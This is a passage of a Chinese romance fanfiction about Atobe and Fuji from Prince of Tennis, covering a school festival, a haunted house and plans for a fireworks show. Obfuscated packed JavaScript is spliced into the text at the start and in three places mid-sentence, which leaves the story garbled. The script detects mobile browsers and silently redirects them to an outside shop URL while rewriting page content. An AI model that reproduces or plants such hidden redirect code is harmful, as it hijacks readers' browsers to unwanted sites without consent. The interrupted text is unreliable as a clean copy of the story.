d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494682|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这一点不会改变。” 不二转过头看着迹部的侧脸,那张被阳光镀上了一层金色的轮廓在此刻显得格外坚定。 他忽然觉得有迹部在身边是一件很幸运的事。不是因为迹部会帮他做饭、帮他拒绝告白、帮他安排好一切,而是因为无论发生什么,这个世界上总有一个人会和他站在一起面对。 “你说得对。”不二笑了笑,把目光移回海面上,“不管在哪个世界,我们都是我们。” 两个人安静地站了一会儿,谁都没有说话。阳光在他们脚边缓慢地移动,从脚尖爬到脚踝,又从脚踝爬到小腿。 不二的肩膀不知什么时候靠在了迹部的手臂上,也许是看海看累了想找个支撑点,也许只是由于难得的温情时刻想要靠近一个温暖的、可靠的存在。 迹部没有动,他甚至刻意放慢了呼吸的频率,生怕任何一个多余的动作都会让不二意识到自己正靠在他身上然后退开。 他的手臂能感觉到不二肩膀的重量,那重量很轻,轻得像一只停驻在枝头的鸟,但在他心里却重得像一座山。 “迹部。”不二的声音很轻,轻得几乎要融进窗外的海风里。 “嗯?” “你的心跳好快。” 迹部低头看了一眼自己的胸口,又看了一眼不二,发现不二正歪着头用一种似笑非笑的表情看着他,冰蓝色的眼睛里盛满了狡黠的笑意。 “那是你靠太近了。”迹部说,语气生硬但耳朵尖已经红透了。 “是吗?”不二没有退开,反而把身体的重量更多地靠了过去,甚至直接将头靠在迹部胸口,嘴角的弧度又大了几分,“可是我觉得这样挺舒服的。你不是说我们要练习吗?情侣之间靠在一起很正常吧?” 迹部的喉结上下滚动了一下。他张了张嘴想说点什么来挽回局面,但发现自己的大脑此刻完全无法正常运转。 不二的体温透过薄薄的衣料传过来,不二的发丝蹭在他的颈侧带着淡淡的洗发水香气,不二的呼吸拂在他的锁骨上温热的、均匀的、像一只无形的手在轻轻抚摸他的皮肤。 “确实正常。”迹部听到自己的声音从很远的地方传来,沙哑得不像自己,“你爱靠多久靠多久。” 不二笑了,那个笑容从嘴角蔓延到眼角,从眼角蔓延到整张脸,像一朵花在阳光下缓缓绽放。 他把头靠在迹部的胸口,闭上眼睛感受着阳光落在脸上的温暖和迹部传来的温度。 真舒服啊……安心的、不用一个人扛着什么的舒服。 迹部景吾是他的好朋友,好到愿意假扮他的男朋友,好到愿意每天早起为他做早餐,好到愿意把主卧让给他住。有这样一个好朋友在身边,他觉得这个世界好像没有那么难以忍受了。 迹部景吾站在落地窗前,感受着胸口那颗栗色脑袋的重量,心跳快得像要从胸腔里蹦出来。他的右手插在口袋里紧紧握着,他通过这份力量提醒自己不要做出任何超出“假扮”范畴的事。 不要低头去亲不二的头发。不要伸手去揽不二的腰。不要在不二耳边说“本大爷喜欢你,不是假扮的那种”。 这些念头像潮水一样涌上来,一波接着一波,每一次都比他上一次压制的时候更加汹涌。迹部闭上眼睛深吸了一口气,在心里把从一到一百的数字默念了三遍,才勉强让自己的心跳恢复到正常的频率。 “不二。”迹部开口,声音比平时低了几分。 “嗯?”不二没有睁眼,声音里带着一丝慵懒的困意。 “本大爷在想一件事。” “什么事?” “关于回家的方法。” 21. 学园祭 “关于回家的方法。” 迹部说出这几个字的时候,语气平静得像在讨论晚餐的菜单,但胸口那颗栗色脑袋的重量让他每一个音节都带着一种不易察觉的克制。 不二从他胸口抬起头,冰蓝色的眼睛在午后的阳光下显得格外通透。“你找到办法了?” “还没有。”迹部诚实地说,手指在口袋里松了又紧、紧了又松,“但已经有了一丝头绪。” 对于意外穿越的人来说,寻找回家的方法是十分重要的事。 但迹部景吾不同,意识到穿越时第一想法居然是“和不二单独穿越了,好幸运。”他没有因为穿越而感到慌张,当然,身为冰帝帝王的迹部也不允许自己慌乱。 是什么时候下定决心必须尽早找到回家方法的呢? 也许是某天不二晚上抱着相机坐在窗边,说着“不知道裕太有没有好好吃饭”的时候吧。明明声音轻得像一片落叶,但落在他心上却重得像一块石头。 迹部财团在这个世界从零起步的速度快得惊人,但“时空研究所”的成立却是一个没有公开的秘密。 不二知道迹部每天很忙、有很多线上会议、手机屏幕上总是跳动着复杂的图表和数据。但他不知道在那些图表和数据之外,还有一个由物理学家、天文学家和量子力学家组成的团队正在日复一日地分析着港东市数十个监测点传来的数据流。 “有头绪了?”不二的声音里带着一丝惊讶,“你可真让我震惊啊迹部。” “本大爷不是说了吗?”迹部低下头看着怀里的不二,深蓝色的眼睛里映着他一人的身影,“本大爷不是来旅游的,是来拯救你的。拯救你当然包括带你回到原来的世界,虽然……” 虽然他有点舍不得这个世界……舍不得和不二在一起的点点滴滴…… 不二没有追问那个“虽然”后面的内容,他重新把头靠回迹部的胸口,闭上眼睛感受着阳光和心跳交织成的温暖。 “迹部,你这个人真奇怪。居然轻轻松松就能说出些不得了的话来。什么拯救者的,裕太都说不出这种肉麻的话。” “是吗?本大爷乐意。” “行,你乐意。”不二的声音带着笑意,胸腔的震动像一阵微弱的电流般透过薄薄的衣料传到迹部的皮肤上。“那我就不跟你客气了。你这么厉害的人,拜托你啦。” 迹部没有说话,他的手从口袋里抽了出来,犹豫了几秒之后轻轻地落在了不二的肩膀上。 这个动作他放得很轻,轻得像一片落叶停在水面上,轻到不二几乎没有感觉到。但迹部自己的心跳却因为这一下触碰而骤然加速,像是有人在胸腔里点燃了一串鞭炮。 “迹部。”不二闭着眼睛说。 “嗯?” “谢谢你。” “谢什么?” “谢谢你愿意陪我练习。”不二说,他的声音很轻,轻到几乎要被窗外的海风声淹没,“谢谢你愿意假扮我的男朋友。谢谢你这么辛苦地找回家的路。谢谢你穿越过来。” 迹部张了张嘴想说“本大爷不需要你的感谢”,但话到嘴边又咽了回去。因为他知道不二说的每一句“谢谢”都不是客套,而是真心实意的、从心底里涌出来的感激。 如果他拒绝接受这些感激,那和不二拒绝那些人告白时用的“温柔拒绝”又有什么区别呢? “不客气。”迹部说,这三个字从他嘴里说出来有一种奇异的违和感,像是一个习惯了发号施令的人忽然学会了说“拜托”和“请您”。 不二笑了,笑容从迹部的胸口传过来,沿着他的肋骨一路传到心脏。 不二没有再说话,他就那样靠在迹部的胸口上,听着那颗心脏在胸腔里砰砰砰地跳动。 那颗心跳的频率比平时快了很多,但节奏很稳定,像是一首永远不会跑调的曲子,听着就让人觉得安心。 之后的几天,两人共同装扮着新家。 由于不二不习惯陌生人入侵生活区,迹部并没有聘用私人管家,而是请了几位上门厨师与钟点家务员。他们只需要固定时间上门工作,这样既能减少迹部与不二两人的不必要劳动,又不会被打扰。 在不二的请求下,迹部还带着不二去往研究所看了看。 无数最新尖端科技产品、能在书本报纸上看见的科学家、严格缜密的实验数据……难以想象迹部在其中投入了多少…… 之后几天,学园祭如期而至。 当天港东市天气好得不讲道理,天空蓝得像被水洗过一样。阳光从头顶倾泻下来,把整个青叶学园的校园照得明亮而温暖。 校门口挂上了“第XX届青叶学园祭”的横幅,红底白字在阳光下格外醒目。 从校门口到教学楼的主路两侧摆满了各式各样的摊位。每一个摊位都装饰得各具特色,到处都是气球、彩带和手绘的海报。 不二脖子上挂着相机站在校门口,手里拿着野村发给他的拍摄清单,正在逐一核对需要拍摄的摊位和点位。 他今天穿了一件白色衬衫,袖子挽到手肘露出白皙的小臂。相机带在胸前晃来晃去,镜头盖被一根细绳拴在背带上以防丢失。 “不二同学!”野村从远处跑过来,手里拿着一份已经被翻得皱巴巴的地图,气喘吁吁地在他面前停下。“校门口区域就拜托你了。对了,十点半的时候文化馆那边有个手工染布的工作坊,小林临时有事不能去,你能不能帮我去拍一下?不会花太多时间,大概二十分钟就够了。” 不二接过野村递过来的工作坊宣传单,低头看了一眼时间安排。“可以,十点半我这边应该拍得差不多了。” “太好了!不二你简直就是我的救星!”野村双手合十做了一个夸张的感谢动作,然后转身跑向下一个需要他出现的地方,跑了几步又回头喊了一句,“对了,迹部同学今天来了吗?” 不二还没来得及回答,一个熟悉的声音就从身后传了过来。 “本大爷当然来了。” 不二转过头,看到迹部从校门口的方向走过来。他手里拎着一个纸袋,身上穿着黑色衬衫,袖口的纽扣规规矩矩地扣着,整个人看起来像是从时尚杂志的某一页里走出来一样。 他走到不二身边把一个纸袋递了过去。“早饭。你早上出门太急,连面包都没拿。” 不二接过纸袋打开一看,里面是一个用保鲜膜包好的三明治和一小盒切好的水果。三明治的切面整齐,面包、生菜、番茄、火腿、芝士一层一层地叠在一起,颜色搭配得像一幅精致的画。 “谢谢。”不二说着拿出三明治咬了一口。面包还是温热的,火腿的咸香和芝士的醇厚在舌尖上化开。 “好吃吗?”迹部问。 “好吃。”不二又咬了一口,腮帮子鼓鼓的像一只正在囤粮的仓鼠。 迹部看着他吃东西的样子,嘴角微微翘起,然后伸出手从纸袋里拿了一块橙子放进嘴里,嚼了嚼,点了点头。“橙子的甜度还可以,下次买的时候可以挑再软一点的。” “你已经把买橙子这件事上升到专业高度了。”不二咽下最后一口三明治,擦了擦嘴角,“走吧,我要开始工作了。你今天有什么安排?” “本大爷的安排就是跟着你。”迹部说,语气理所当然得像在说“太阳从东边升起”。 不二看了他一眼没有拒绝,他把相机调了几个参数朝第一个拍摄目标走去。 迹部则跟在他身后,一只手插在裤袋里,另一只手自然地垂在身侧。步伐从容,姿态优雅,像一尊移动的雕塑。 第一个拍摄目标是一个手工布艺摊位。几张长桌拼在一起,上面铺着素色的棉麻桌布,摆满了各种手工缝制的小物件。 布偶、零钱包、手机套、书衣……每一个都缝得针脚细密、细节精致。摊位后面站着两个穿着围裙的女生,正在向路过的同学介绍自己的作品。 “你好,我是摄影社的,需要拍几张照片放在学园祭回忆册里。”不二举起相机,对两个女生笑了笑,“方便吗?” “方便方便!当然方便!”其中一个女生连忙点头,目光在不二脸上停了一秒,然后迅速移到站在他身后的迹部身上,又迅速移回来。脸上的表情从惊喜变成强装镇定,最后定格在一个介于兴奋和紧张之间的微妙弧度上。 不二没有注意这些表情变化,他已经进入了工作状态。 弯腰抓取合适的光线,透过取景器看着那些手工布艺品构图,调整了一下光圈和快门速度,然后按下了快门。咔嚓一声,第一张照片拍完了。 他又换了一个角度,蹲下来拍了一张特写,把那个布偶的针脚和布料纹理都拍得清清楚楚。然后站起来退后两步,把整个摊位的全景也拍了一张。 “好了,谢谢配合。”不二直起身,对两个女生笑了笑。 “不客气不客气!”两个女生异口同声地说,目光在他和迹部之间来回移动了好几次,终于有一个忍不住开口了,“那个……不二同学和迹部同学……今天是约好了一起参观学园祭的吗?” “不是。”迹部替不二回答了这个问题,他的声音不大但很清晰,“他工作,我陪同。” 两个女生的嘴巴同时张成了O型,然后对视了一眼,眼睛里满是亮光。 不二假装没有看到这些,把相机挂好朝下一个拍摄目标走去。迹部跟在他身后,嘴角的弧度比平时大了那么一点点,像是偷吃了糖果的小孩以为没有人发现嘴角的糖渍。 上午的拍摄进行得很顺利。不二像一台精密的机器一样高效地运转着,每到一个摊位,先和负责人打招呼说明来意,然后快速观察光线和角度,调整相机参数,拍三到五张不同构图的照片,最后确认照片质量,道谢,离开。 整个过程行云流水,每一个步骤都精准得像被排练过无数次。 迹部全程跟在他身边,不二蹲下来拍特写的时候他就站在旁边看着,不二踮起脚尖拍高处的时候他就伸手帮不二扶着相机底部以防手抖,不二在阳光下眯着眼睛看取景器的时候他就侧过身挡住刺眼的阳光。 “你不用一直跟着我。”不二在拍完一组照片后转过身对迹部说,“假扮男友也可以不用一直在一起的,你不想去逛逛学园祭吗?去玩玩吧,看看有什么感兴趣的摊位。” “本大爷感兴趣的摊位只有一个。”迹部说。 “哪个?” “你负责拍照的这个。” 不二看着迹部那双深蓝色的眼睛,那双眼睛里有一种他读不太懂的认真,认真到不像是在开玩笑,但又不是在说一件很严肃的事情。 这种介于玩笑和认真之间的暧昧状态,让他不知道该用什么表情来回应。 “你这个人,”不二最终选择了一个中性的回应,“真的是来参观学园祭的吗?” “本大爷是来陪你的。”迹部纠正道,“学园祭只是顺便。” 不二摇了摇头笑了,转身走向下一个拍摄目标。 十点半的时候不二准时出现在文化馆的友禅染工作坊。 工作坊在一间不大的活动室里进行,十几个人围坐在一张长桌旁,每个人面前都摆着一块白色的棉布和一盆五颜六色的染料。指导老师是一位头发花白的老太太,正在讲解友禅染的基本技巧。 不二站在门口拍了几张全景,然后走到桌边拍了几张特写。一双满是皱纹的手在折叠布料、一瓶蓝色的染料被倒入白色的瓷盆、一块被扎成奇怪形状的布料浸入染料中时颜色从白色变成浅蓝再变成深蓝的渐变过程。 他拍得很投入,专注到完全没有注意到迹部不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494683|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道什么时候站到了他身后。 “这张拍得不错。”迹部的声音从耳边传来,温热的气息拂过不二的耳廓,让他整个人像被电击了一样猛地缩了一下脖子。 “你什么时候过来的?”不二转过头,发现迹部在离他不到五厘米的距离,两个人的鼻尖几乎要碰到一起。 “刚才。”迹部的表情很平静,但他的眼神在不二的脸上游移了一下,从冰蓝色的眼睛滑到高挺的鼻梁,从鼻梁滑到微微弯起的嘴角,最后迅速收回来,“本大爷看你拍得太专注,没忍心打扰你。” “那你现在怎么打扰了?” “因为本大爷觉得你拍的那张照片值得被表扬。” 不二看着迹部那张理直气壮的脸,忍不住笑了出来。“行,我接受你的表扬。现在能让一下吗?我要拍那个奶奶讲解染布技巧的画面。” 迹部侧身让开,但他的手在侧身的时候状似不经意地碰了一下不二的手背。 那一下触碰轻得像蝴蝶扇动翅膀,不二的手指却条件反射般地蜷缩了一下。 他没有说什么,举起相机对准了那位正在讲解的老太太。取景器里老太太的笑容慈祥而温暖,额头的皱纹像一道道年轮记录着她的人生。 不二按下快门,咔嚓一声画面被定格在相机的存储卡里,但他脑子里定格的却是刚才迹部手指擦过他手背时的触感。 不二深吸了一口气,把注意力重新集中到工作上。他还有拍摄任务没完成,没有时间去想那些有的没的。 中午十二点,不二终于完成了所有拍摄任务。找了一张树荫下的长椅坐下来休息,他把相机放在膝盖上,从背包里拿出早上迹部给的水果盒叉了一块橙子放进嘴里。 迹部不知道从哪里买了两杯饮料走过来,把其中一杯递给他。“冰拿铁,低咖啡因的。” “谢谢。”不二接过杯子喝了一口,冰凉的液体顺着喉咙滑下去,带走了一上午积累的燥热,“你什么时候去买的,我都没注意。” “你拍那个手工蜡烛摊位的时候。”迹部在他旁边坐下,两个人之间的距离刚好够放下一杯饮料,“你拍得太投入了,连本大爷走开了都不知道。如果本大爷是坏人,你的相机早就被偷了。” “所以你是在提醒我下次要注意安全?”不二歪着头看着迹部。 “本大爷是在提醒你,有本大爷在的时候你不需要注意安全。”迹部说,“但本大爷不在的时候,你最好是要注意安全。” 不二听着这句话,笑了好一会儿才停下来。“迹部,你有没有发现你说的话越来越像绕口令了?” “本大爷只是在陈述事实。”迹部喝了一口自己的咖啡,目光落在远处某个正在表演的乐队身上,表情平静得像一面没有风经过的湖。 两个人安静地坐了一会儿,静静感受着学园祭的热闹。 穿着女仆装的女生在发传单,鬼屋里传来此起彼伏的尖叫声,某个摊位的烧烤炉冒出白烟和诱人的香气,舞台上的乐队正在唱一首不二没听过的歌,吉他手的刘海被风吹起来又落下去…… “不二。”迹部忽然开口。 “嗯?” “你今天拍照的时候,眼睛是睁开的。” 不二愣了一下,转过头看着迹部。“什么?” “你的眼睛。”迹部说,他的目光从远处的舞台收回来,落在不二的脸上,“平时你总是眯着眼睛笑,别人看不出来你在想什么。但今天你拍照的时候,眼睛是完全睁开的。冰蓝色的,亮晶晶的。” 不二被这段突如其来的描述弄得有些不知所措。他张了张嘴想说什么,但发现自己不知道该说什么。 “本大爷只是觉得,那样的你很好看。”迹部说完这句话就转过头去继续看乐队表演。他的表情依然平静,但他的耳朵尖在阳光下红得透明。 不二看着迹部的侧脸,看着那从耳尖蔓延到耳廓的红色,心里那粒埋在泥土深处的种子好像被浇了一点水。 他低下头继续吃水果,假装什么都没有注意到,但他的嘴角从那一刻起就再也没有放下来过。 下午三点的时候,精益求精的不二终于完成了所有的拍摄任务来到摄影社的活动室交差。野村正在整理大家交上来的照片,看到不二进来立刻迎了上去。 “辛苦了不二!照片拍得怎么样?” “应该还可以。”不二把相机的存储卡取出来递给野村,“你先看看,不够的话我再去补拍。” 野村把存储卡插进电脑,打开文件夹一张一张地翻看,每翻一张他的表情就变化一次。 从期待变成惊讶,从惊讶变成赞叹,从赞叹变成一种介于“我早就知道”和“我还是低估了他”之间的复杂神色。 “不二,”野村翻到最后一张照片的时候抬起头看着他,“你考不考虑以后走职业摄影这条路?” “随缘吧。”不二笑了笑,“摄影是我的爱好,暂时不打算走职业。” “太可惜了。”野村摇了摇头,“你的构图、光影、色彩都很有感觉。如果你愿意的话,我可以帮你联系……” “不用了。”不二礼貌地打断了他,“谢谢你的好意,但我真的只是喜欢拍照而已。” 野村还想说什么,但看到站在不二身后的迹部正用一种“你再说一句试试”的目光看着他,于是非常识趣地把到嘴边的话咽了回去。“好吧好吧,我不说了。今天辛苦了,早点回去休息吧。” 不二点了点头,转身走出活动室。迹部跟在后面,门关上的瞬间伸手拉住了不二的手,十指相扣。 “你的手好凉。”迹部说。 “可能是刚刚吹空调吹的。”不二说,“活动室的冷气开得太足了。” 迹部没有说什么,但他把不二的手握得更紧了一些。 22. 鬼屋 作为贵族私立中学,青叶学园的学园祭当然不会只有短短一天。 第一天的不二周助作为工作人员参加学园祭,第二天的学园祭不二和迹部打算好好逛逛。 今天的不二脖子上没有挂相机而是带了一台巴掌大的拍立得。轻巧,便利,能够让他随心所欲地进行记录。 “走吧。”迹部自然而然地伸出手握住不二的手,十指相扣的动作流畅得像已经重复了千万遍。 不二被他牵着走进校门。 “先去哪里?”不二问。 迹部环顾四周,目光在各种摊位之间快速扫过,最后落在了一个方向。“先去鬼屋。本大爷听说今年的鬼屋是戏剧社和美术社联合制作的,据说花了两个月的时间搭建场景,评价很高。早上去人少不用排队,可以慢慢体验。” “你居然会对鬼屋感兴趣?”不二有些意外地看了他一眼,“我以为你只对高雅艺术感兴趣。” “本大爷对一切高质量的东西都感兴趣。”迹部牵着他朝鬼屋的方向走去,步伐从容得像是在自家花园里散步,“而且,本大爷觉得你应该很好奇。” “是有点好奇。”不二笑了笑,语气里带着一丝不易察觉的狡黠,“昨天我在手工区拍摄的时候,尖叫声校门口都能听得见。” 鬼屋的入口设在体育馆的侧门,排队的人比不二预想的要少,只有几个人。 一个穿着白色长袍、脸上画着狰狞妆容的女生站在入口处,手里拿着一盏忽明忽暗的电子蜡烛,用一种刻意压低的沙哑嗓音说着介绍语。 “欢迎来到……诅咒病院……请依次进入……请不要损坏道具……不要殴打工作人员……” 在得到进入允许后,迹部拉着不二穿过入口的黑色幕布,走进了黑暗之中。 鬼屋的内部比不二想象的要大得多,基本上算是在体育场内部盖了一间新屋子。 鬼屋内部被各种隔板和幕布分割成了迷宫般的通道,墙壁上贴着剥落的壁纸和用红色颜料写成的“救命”字样,空气里弥漫着消毒水和霉味混合的奇怪气息。 头顶的昏黄灯泡忽明忽暗,在通道里投下摇曳不定的阴影。 迹部走在不二前面,两个人的手始终没有松开。 鬼屋里面空间设计很巧妙,配合着背景故事的一步步揭露,房间越来越小让人感到生理性压抑。 当玩家发现这所诅咒医院的真相想跑时,才会突然发觉自己身处一道狭长的走廊通道。身后是鬼怪追击,身前是遥远的出口,跑不快又跑不掉。 然而这时的不二微微侧身,动作轻盈得像一只在黑暗中穿行的猫。面对追兵,他的表情始终平静,嘴角甚至还挂着那个标志性的微笑。仿佛他不是在走鬼屋,而是在美术馆里欣赏一幅抽象画。 迹部走在前面,他的注意力有一半放在周围可能会导致摔倒的遮挡物上,另一半则完全集中在身后的不二上。 不二对周围的布置以及鬼怪的设计很感兴趣,总是会停下脚步想与鬼怪近距离接触。但为了不被抓住,停下一段时间后又会快跑远离鬼怪,利用这一段鬼怪追击的时间观察环境布置。 狭窄的通道只允许单人通行,这让不二不可能跑到迹部前面去。这时的他就会与前方的迹部景吾贴得非常近, 黑暗的环境中,温热的呼吸轻轻抚在迹部颈间,让他在开满冷气的鬼屋里也冒出细汗。 通道很长,身边的不二还时不时与迹部讨论着鬼屋的布景。 “迹部迹部,这里挂的画真符合场景。” “迹部迹部,他们工作人员脸上是不是脱妆了呀,要是脸上的血浆有流淌的效果就好了。” 对此,迹部只能紧紧握住不二的手,边回应边告诫自己“冷静,不要失态”。 终于走到通道的尽头,空间豁然开朗。从狭窄的空间来到宽敞的空间,这会让人觉得追击战这一环节已经结束,只要打开眼前的房门就算逃出险境。 然而就在玩家即将打开房门时,一个满身血迹、脸上戴着恐怖面具的护士突然发出一声凄厉的尖叫从侧面扑了出来。 不二下意识往旁边闪了一下,又被紧紧牵着的手拉过去,整个人顺着力道撞入迹部的怀里。 迹部的手在那一瞬间收紧,另一只手条件反射地揽住了不二的腰,把他整个人固定在怀里。他能感觉到不二的体温透过薄薄的衣料传过来,能感觉到不二的呼吸拂在他的颈侧,温热的、均匀的、带着难以想象的刺激。 “别乱跑。”迹部的声音从头顶传来,低沉而平稳,但揽在腰上的手却没有松开的意思,“吓到没?” “没有,只是突然被吵到了。”不二从他怀里退出来,没有任何被迹部无意间怀抱的尴尬与不好意思,而是对眼前的护士产生了求知欲。 “迹部,你说,这位护士的面具之下有化妆吗?” 不二的反应完全超乎了这名恐怖护士的设想。她可是这一环节最大的惊吓点,出口就在眼前,但在逃出的希望前给予狠狠一击。昨天在这吓哭、吓跑的人两只手都数不过来。现在这位……似乎还想摘她面具! 这边不二与恐怖护士对面具的掌控权斗智斗勇中,那边迹部还在回味刚刚的拥抱。 不二的腰很细,身上很香,人也很软。好像只要他想,不二就能被他的怀抱紧紧包裹住,挣脱不开。 将不二圈住的瞬间,心脏像被人猛地攥住了一样,所有的血液都涌上了大脑,让他几乎忘记了呼吸。 “迹部?”不二的声音从前面传来,“你来帮我一下!帮我抓住这位护士同学!” “来了。”迹部深吸了一口气,把翻涌的情绪压回胸腔的最深处,快步跟了上去。 最终,护士没能逃脱不二之手,被脱去了面具。为了挡住没化妆的脸,这位尽职尽责的护士同学只能将头上的护士帽用来挡住自己的脸。 鬼屋的后半段,不二的胆子越来越大。他开始主动去触碰那些突然弹出的机关,甚至挣脱开迹部的手追着鬼怪跑。 被追的工作人员们只觉得莫名其妙与震惊,哪有鬼屋是玩家追鬼的啊! 迹部在一旁看着这一切,嘴角的弧度在黑暗里肆无忌惮地上扬。他想,这个世界上大概只有不二周助会在鬼屋里追逐鬼怪还夸奖他们的化妆技术了吧。 不二周助就是这么有趣,而自己现在是他的男友。不过,是假扮的…… 这个认知像一盆冷水从头顶浇下来,把刚才那点偷偷发酵的甜蜜冲得干干净净。 从鬼屋出来的时候,阳光刺得两个人同时眯起了眼睛。迹部将手掌覆盖在不二脸上,确保不二适应后才放下手。 “迹部,这鬼屋还挺好玩的。你看,我没被吓到吧。” “你确实没有被吓到。”迹部说,他的语气里有一丝无奈,“但你把工作人员吓到了。你夸她妆容精致的时候,她差点要跪下了。” “我只是在陈述事实。”不二回想刚刚的场景,脸上的笑容在阳光下显得格外明亮。 迹部看着那个笑容,心脏又跳了一下。 “走吧,下一个项目。”他别开目光,牵起不二的手朝另一个方向走去。不二被他拉着往前走,回过头看了一眼鬼屋的入口,那个被夸奖的“护士”正站在门口偷偷地看着他们,脸上的妆容已经被汗水和红晕糊得不成样子。 不二朝她挥了挥手,然后转回头跟上了迹部的步伐。 接下来他们体验了射击游戏。不二的枪法出乎迹部的意料,十发子弹除了第一发没中总共中了九发,赢了一只巨大的毛绒熊。 他把熊夹在腋下,得意洋洋地朝迹部扬了扬下巴。“怎么样帝王?本天才的射击水平还不错吧?” “厉害。”迹部抓住乱跑的不二为他整理被风吹乱的发丝,“该去吃午餐了。” “你不想试试吗?” “不了”迹部说,语气理所当然,“看你打比本大爷自己打有意思。” 不二愣了一下,然后笑着摇了摇头。“你这个人,真的越来越会说好听的话了。” “本大爷只是在陈述事实。”迹部把熊从不二怀里接过,腾出手来重新牵起不二,“走了,吃饭去。” 他们找了一家中餐厅坐下来休息。不二将赢来的熊放在独立座位上,在巨大熊玩偶的衬托下,不二显得娇小极了。 菜上得很快,玩了一上午的两人都饿了,也没再多说话开始就餐。 这家中餐厅的味道很好,小菜调料也很多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494684|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至还有芥末可以自取。 在迹部的眼神警告下,不二放弃了尽享芥末,只吃了一小勺芥末以满足自己的味蕾。 两人安静地吃着。 “迹部。”不二忽然开口。 “嗯?” “你嘴角沾到酱汁了。” 迹部下意识地抬手去拿纸巾,手指刚碰到纸巾盒,不二已经伸手过来用纸巾帮他擦掉了那点酱汁。 动作自然,转瞬即离。 他的手指隔着纸巾轻轻拂过迹部的嘴角,指尖的温度透过薄薄的纸巾传过来,像一根羽毛在皮肤上轻轻划过。 迹部的身体僵住了。 他坐在那里一动不动,任由不二的手指在他的嘴角停留了不到两秒,但那两秒在他感觉里像是一个世纪那么漫长。 他的大脑在这一瞬间完全空白,所有的思维、所有的理智、所有的克制都被那根隔着纸巾的手指击得粉碎。 “好了。”不二收回手,把纸巾扔进垃圾桶,继续吃自己的午餐,仿佛刚才什么都没有发生过,一切都很正常。 正常,当然正常。在不二周助的逻辑里,帮朋友擦嘴角是再正常不过的事情。他帮菊丸英二擦过,帮越前龙马擦过,甚至帮手冢国光擦过。这只是他表达友谊的方式,和他的温柔一样,是他性格里不可分割的一部分。 迹部深吸了一口气,把那些翻涌的情绪重新压回胸腔深处。 “迹部,”不二的声音从对面传来,带着一丝疑惑,“你怎么不吃了?” “没事,刚刚在想事。”迹部说,机械性咬了一大口,嚼了嚼,咽下去。酱肉的味道在嘴里变得无比寡淡。 下午他们去看了戏剧社的演出。戏剧社这次排演的是改编版的《罗密欧与朱丽叶》,把背景从文艺复兴时期的意大利搬到了现代的高中校园里。 改编后的罗密欧是一个戴着黑框眼镜的文学少年,朱丽叶是一个扎着马尾辫的网球少女,两个人在图书馆里一见钟情,在校园祭的烟火下互诉衷肠,最后因为家长反对而双双转学。 不二坐在观众席的第三排,迹部坐在他旁边。两个人牵着的手此刻正安静地放在扶手上,十指相扣。 舞台上的灯光忽明忽暗,演员的台词在扩音器里回荡,观众的笑声和掌声此起彼伏。 不二看得很投入,每当台上有什么乐趣时他就会微微侧头笑一下。迹部坐在他旁边,注意力有三分之一在舞台上,三分之二在不二身上。 他注意到不二在看朱丽叶被父亲训斥的场景时微微皱了一下眉,他注意到不二在看罗密欧翻墙进入朱丽叶家花园的场景时嘴角弯起了弧度。 当舞台上罗密欧对朱丽叶说出那句“我的爱像海一样深,像天空一样广阔”的时候,不二忽然转过头看了迹部一眼。 以为被抓住在偷看的迹部心脏猛地跳了一下。“怎么了?” “没什么。”不二笑了笑,转回头继续看舞台,“只是觉得,这句台词写得挺好的。” 迹部看着不二的侧脸,心里有一个声音在说:本大爷的爱比海深,比天空广阔,你什么时候才能看到? 但他没有说出口。他只是握紧了不二的手,然后把目光移回到舞台上。 演出结束后,两个人走出剧场。天色已经接近黄昏,夕阳的光线把整个校园染成了橘红色。不二伸了一个懒腰,举起手里那台拍立得对着天空拍了一张。 “拍了什么?”迹部问。 “天空。”不二说,“今天的晚霞很好看,不拍下来太可惜了。” “你每次都说好看。” “因为每次都不一样啊。”不二把拍立得放下来,转头看着迹部,“迹部,你今天玩得开心吗?” 迹部看着他。夕阳的光线落在不二的脸上,把他的轮廓镀上了一层温暖的金色。冰蓝色的眼睛在橘红色的光线里显得格外明亮,像两颗被夕阳点燃的宝石。 “开心。”迹部说。他没有说谎,今天是他穿越到这个世界上以来最开心的一天,虽然这份开心的底色里藏着一层他自己都不敢触碰的、柔软的、带着酸涩的甜蜜。 “那就好。”不二笑了,“我也很开心。迹部,有没有兴趣和我一起去看今晚的烟火大会呀?” 23. 烟花大会 “烟火大会?”迹部愣了一下,“学园祭有烟火大会?” “有啊,你居然不知道?”不二歪着头看他,语气里带着一丝促狭,“看来迹部大人也不是什么都了解嘛。” “本大爷只是没有关注这种小事罢了,几点开始?” “七点半,在操场中心。”不二说,“还有两个多小时,我们还可以逛一逛,或者先找个地方坐着休息一下。” “去老图书馆吧。”迹部说,“那里安静,而且顶楼天台可以看到操场的全景,不用跟那么多人挤。我叫管家送餐来,先在老地方把晚餐吃了。” 